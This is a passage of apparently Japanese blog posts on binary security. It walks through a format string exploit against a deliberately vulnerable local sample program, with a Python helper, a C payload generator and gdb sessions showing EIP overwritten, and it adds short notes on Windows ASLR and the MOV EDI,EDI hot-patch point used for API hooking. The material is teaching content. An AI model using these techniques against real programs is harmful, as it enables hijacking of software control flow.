本当なら(コメントにあるように)%sを使ってargv[1]を出力するのですが、それをそのままprintfに渡しています。ただ、これでも基本的には普通に動作します。
$ gcc sample10.c -o sample10 $ ./sample10 AAAA AAAA$
でもargv[1]をそのまま渡しているので、こんな感じに書くとスタックにある値が出力されます。
$ ./sample10 AAAA%x AAAAbfbfec90$
スタックにある値が出力されるだけならまだよいのですが(いやダメだけど)、そこに書き込みできたらちょっとやばいですよね。でも出来るんです! そう%nならね。
$ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) disas main Dump of assembler code for function main: 0x08048440 <main+0>: lea 0x4(%esp),%ecx 0x08048444 <main+4>: and $0xfffffff0,%esp 0x08048447 <main+7>: pushl 0xfffffffc(%ecx) 0x0804844a <main+10>: push %ebp 0x0804844b <main+11>: mov %esp,%ebp 0x0804844d <main+13>: push %ecx 0x0804844e <main+14>: sub $0x4,%esp 0x08048451 <main+17>: mov 0x4(%ecx),%eax 0x08048454 <main+20>: add $0x4,%eax 0x08048457 <main+23>: mov (%eax),%eax 0x08048459 <main+25>: mov %eax,(%esp) 0x0804845c <main+28>: call 0x80482ec <_init+52> ■break 0x08048461 <main+33>: mov $0x0,%eax ■break 0x08048466 <main+38>: add $0x4,%esp 0x08048469 <main+41>: pop %ecx 0x0804846a <main+42>: pop %ebp 0x0804846b <main+43>: lea 0xfffffffc(%ecx),%esp 0x0804846e <main+46>: ret 0x0804846f <main+47>: nop End of assembler dump. (gdb) b *0x0804845c Breakpoint 1 at 0x804845c (gdb) b *0x08048461 Breakpoint 2 at 0x8048461 (gdb) r AAAA%n ■%nを引数に Starting program: /usr/home/guest/sample10 AAAA%n (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804845c in main () (gdb) x/32x $esp 0xbfbfec40: 0xbfbfedf9 ->0xbfbfec60 0xbfbfec78 0x080483c7 0xbfbfec50: 0x00000000 0x00000000 0xbfbfec78 0x080483c7 0xbfbfec60:->0x00000002 0xbfbfeca4 0xbfbfecb0 0xbfbfec90 (gdb) x/1s 0xbfbfedf9 0xbfbfedf9: "AAAA%n" (gdb) c Continuing. Breakpoint 2, 0x08048461 in main () (gdb) x/32x $esp 0xbfbfec40: 0xbfbfedf9 ->0xbfbfec60 0xbfbfec78 0x080483c7 0xbfbfec50: 0x00000000 0x00000000 0xbfbfec78 0x080483c7 0xbfbfec60:->0x00000004 0xbfbfeca4 0xbfbfecb0 0xbfbfec90 (gdb)
0xbfbfec60の値が0x00000002から0x00000004へ変わっています。%nについてはprintfの変換指定子を確認しましょう。
%n: これまでに出力された文字数を int * (または類似の型) のポインタ引き数が指す整数に保存する。
つまりprintfの第一引数0xbfbfedf9、第二引数0xbfbfec60となっており、第一引数は当然"AAAA%n"のアドレスです。第一引数には%nが入っているので第二引数(0xbfbfec60)を書き込み先アドレスと認識して、結果0xbfbfec60の値が0x00000002から0x00000004へ変わったわけです。0x00000004はこれまで出力された"AAAA"の文字数ですね。
変換指定子は%nのみだったので書き込み対象は第二引数が指す先でしたが、何番目の引数を使うかは選択できるため(12番目の引数を使いたいばあいは)%12\$nと書くことで自由に変更できます。
さて、書きかえたいのはアドレス0xbfbfec5cの値(0x080483c7)、つまりmainからのリターン先です。でもスタックには0xbfbfec5cという値そのものがないので、環境変数を使ってこの値をスタックへいれます。
#!/usr/bin/python # exploitenv.py import sys import struct #import binascii num = int(sys.argv[1], 16) i = 0 x = "" while i < 4: x += struct.pack('<L', num + i) i += 1 print x #print binascii.b2a_hex(x)
$ ADDR=AAA`python exploitenv.py bfbfec5c` $ export ADDR
先頭のAAAはサイズ調整用です。4バイト単位(アラインメント)でメモリに配置されてほしいので。
%nはこれまでに出力された文字数を数値としてメモリへ書き出しますが、じゃあ0xbfbfXXXXみたいな巨大なサイズ(GB単位)の文字列を%nの前に出力するのかという問題があるため、%nで0xbfbfXXXXみたいな数値は扱えなさそうです。そこで、4バイト一気に書き込むのではなく、1バイトずつ4回にわけて書き込むことで対応します。よって、0xbfbfec5c、0xbfbfec5d、0xbfbfec5e、0xbfbfec5fを環境変数ADDRへいれます。
$ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) b main Breakpoint 1 at 0x8048440 (gdb) r AAAA Breakpoint 1, 0x08048440 in main () (gdb) x/32x $esp (省略) 0xbfbfef4c: 0x32203433 0x494c0032 0x3d53454e 0x46003533 0xbfbfef5c: 0x505f5054 0x49535341 0x4d5f4556 0x3d45444f 0xbfbfef6c: 0x00534559 0x52444441 0x4141413d ->0xbfbfec5c 0xbfbfef7c:->0xbfbfec5d ->0xbfbfec5e ->0xbfbfec5f 0x49444500
gdbから環境変数ADDRとしてさきほどいれたデータがあるのが確認できます(0xbfbfef78)。あとはこれらのアドレスに対して、1バイトずつ%nしていけばOKです。
// exploitfms.c #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char *argv[]) { char fmtstr[256]; unsigned int value[4]; unsigned long val; unsigned int offset, i; if(argc < 3){ fprintf(stderr, "Usage: %s <value> <offset>\n", argv[0]); exit(-1); } val = strtoul(argv[1], NULL, 16); offset = atoi(argv[2]); for(i=0; i < 4; i++){ value[i] = (val >> i * 8) & 0xff; } sprintf(fmtstr, "%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n%%%dx%%%d\\$n", value[0] + 0x100, offset+0, value[1] - value[0] + 0x100, offset+1, value[2] - value[1] + 0x100, offset+2, value[3] - value[2] + 0x100, offset+3); printf("%s\n", fmtstr); return 0; }
valueが書き込みたい値、offsetがprintfが呼ばれる時点での第二引数からの(距離/4)+1です。valueはとりあえず0x41414141にします。offsetは環境変数ADDRとしてセットした値があるのがアドレス0xbfbfef78、第二引数があるのがアドレス0xbfbfec40だったので、((0xbfbfef78 - 0xbfbfec40) / 4) + 1 = 207(10進数)となります。
$ gcc exploitfms.c -o exploitfms $ ./exploitfms 0x41414141 207 %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n $ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) b * 0x0804845c Breakpoint 1 at 0x804845c (gdb) r %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n Starting program: /usr/home/guest/sample10 %321x%207\$n%256x%208\$n%256x%209\$n%256x%210\$n (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x0804845c in main () (gdb) x/32x $esp 0xbfbfec00: 0xbfbfedb9 ->0xbfbfec20 0xbfbfec38 0x080483c7 0xbfbfec10: 0x00000000 0x00000000 0xbfbfec38 ->0x080483c7 0xbfbfec20: 0x00000002 0xbfbfec60 0xbfbfec6c 0xbfbfec40 (省略) 0xbfbfef50: 0x494c0032 0x3d53454e 0x46003533 0x505f5054 0xbfbfef60: 0x49535341 0x4d5f4556 0x3d45444f 0x00534559 0xbfbfef70: 0x52444441 0x4141413d ->0xbfbfec5c ->0xbfbfec5d (gdb) 0xbfbfef80:->0xbfbfec5e ->0xbfbfec5f 0x49444500 0x3d524f54
引数のサイズが変わりアドレスがずれたので、もう一度再計算します。上書きしたいアドレスは0xbfbfec1c、第二引数からのoffsetは((0xbfbfef78 - 0xbfbfec04) / 4) + 1 = 222(10進数)。
$ ADDR=AAA`python exploitenv.py bfbfec1c` $ export ADDR $ ./exploitfms 0x41414141 222 %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n $ gdb sample10 GNU gdb 6.1.1 [FreeBSD] (gdb) r %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n Starting program: /usr/home/guest/sample10 %321x%222\$n%256x%223\$n%256x%224\$n%256x%225\$n (no debugging symbols found)...(no debugging symbols found)... Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r $eip eip 0x41414141 0x41414141 (gdb)
めでたくeipを上書きできました。
以上がフォーマットストリングバグの基本となります。
フォーマットストリングバグは、バグそのものはとても単純なもので、知ってしまえばすぐに修正できます。しかし興味深いのはその攻撃方法で、printfへ渡すデータの操作を許しただけでeipを奪うところまでいけるというのは、素直に技術として面白いと感じます。そういう意味でも知っておいて損はないのではないかと思います。
あと最後にひとことだけ。
%nってExploiting以外の使い道ってあるの?
WindowsでASLR(Address Space Layout Randomization)を確認してみる。
ASLR(Address Space Layout Randomization)とは、OSがプロセスをロードするときに、ランダムな場所にモジュールを配置するセキュリティ機能です。実際はモジュールだけじゃなく、スタックやヒープなどもランダマイズされたりします。
ASLRはWindowsにも当然実装されており、それらを迂回して脆弱性を利用する攻撃手法が日々研究されています(参考:DEP/ASLR bypass without ROP/JIT)。日本語で解説されてる資料もありますね(→http://www.slideshare.net/SatoshiMimura/apasec-2013-ropjit-depaslr)。
Windows(Vista以降)のばあい、PEヘッダの DllCharacteristics にて0x0040(IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE)フラグがオンになっているモジュールがASLR対象になります(参考:MSDN)。
typedef struct _IMAGE_OPTIONAL_HEADER { WORD Magic; BYTE MajorLinkerVersion; BYTE MinorLinkerVersion; DWORD SizeOfCode; DWORD SizeOfInitializedData; (省略) DWORD SizeOfHeaders; DWORD CheckSum; WORD Subsystem; WORD DllCharacteristics; ■ココ DWORD SizeOfStackReserve; DWORD SizeOfStackCommit; DWORD SizeOfHeapReserve; DWORD SizeOfHeapCommit; DWORD LoaderFlags; DWORD NumberOfRvaAndSizes; IMAGE_DATA_DIRECTORY DataDirectory [IMAGE_NUMBEROF_DIRECTORY_ENTRIES]; } IMAGE_OPTIONAL_HEADER, *PIMAGE_OPTIONAL_HEADER;
たとえばデバッガで実行ファイルをロードした際、IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASEがオフなら、0x00401000以降にEXEモジュールがあるのですが、これがオンだと毎回ランダムなアドレスになります。Visual C++ 2010 Express版では、メニューからプロジェクト⇒プロパティ⇒リンカ⇒詳細設定にてオンオフを設定できます。
「たのしいバイナリの歩き方」でも1~2章辺りで、ではメモリアドレス00401000へ進んでください、みたいなくだりがありますが、これはASLRがオフになってる前提だったりします。もしASLRがオンだとまったく別の場所にモジュールがロードされているので、探さなければなりません(なので1~2章のサンプルプログラムはEXEに限りすべてASLRオフになっています)。
ASLRはモジュール単位で行われるため、同じプロセス内でもランダマイズされるモジュールとされないモジュールが存在します。そしてROP(Return Oriented Programming)はランダマイズされないモジュール内に存在するガジェットを利用して行われるわけです。
関数先頭にあるMOV EDI,EDIって何だろう?
Windows環境において、多くのAPI関数の先頭に存在するMOV EDI,EDIという命令。たとえばMessageBoxWの先頭2バイトを次のようなプログラムで調べてみる。
// VC++ 2010 Express版 #include <stdio.h> #include <Windows.h> int main() { HMODULE user32 = ::LoadLibrary(L"user32.dll"); auto pMessageBoxW = reinterpret_cast<decltype(MessageBoxW)*> (GetProcAddress(user32, "MessageBoxW")); BYTE bBuff[8]; memcpy(bBuff, (void *)pMessageBoxW, 2); TCHAR szStr[1024]; wsprintf(szStr, L"MessageBoxW first 2byte is '%02x %02x'.", bBuff[0], bBuff[1]); pMessageBoxW(GetForegroundWindow(), szStr, L"MESSAGE", MB_OK); return 0; }
先頭2バイトは8b ff。つまりmov edi, edi。これ自体はなんの意味もない命令な気がするけどなんで各API関数の先頭に常にあるの? みたいな疑問。その答えはこちら。
Why do Windows functions all begin with a pointless MOV EDI, EDI instruction?
It's a hot-patch point.
どうやらパッチ用のようです。
もっと具体的にいうとAPIフック用。先頭2バイトがmov edi, ediなので、まずはここをeb f9:jmp -7に変える。デバッガとかで確認すると、mov edi, ediの上には5バイト連続でnop辺りが埋まってるはず。ここに飛ぶようにして、この5バイトの領域にe9 XX XX XX XX:jmp 0xXXXXXXXXみたいなコードを入れると任意の場所にジャンプできる。つまり手軽にAPIフックが実現できる。便利。なのでmov edi, ediと上の5バイトはセットみたいなもんなのかな。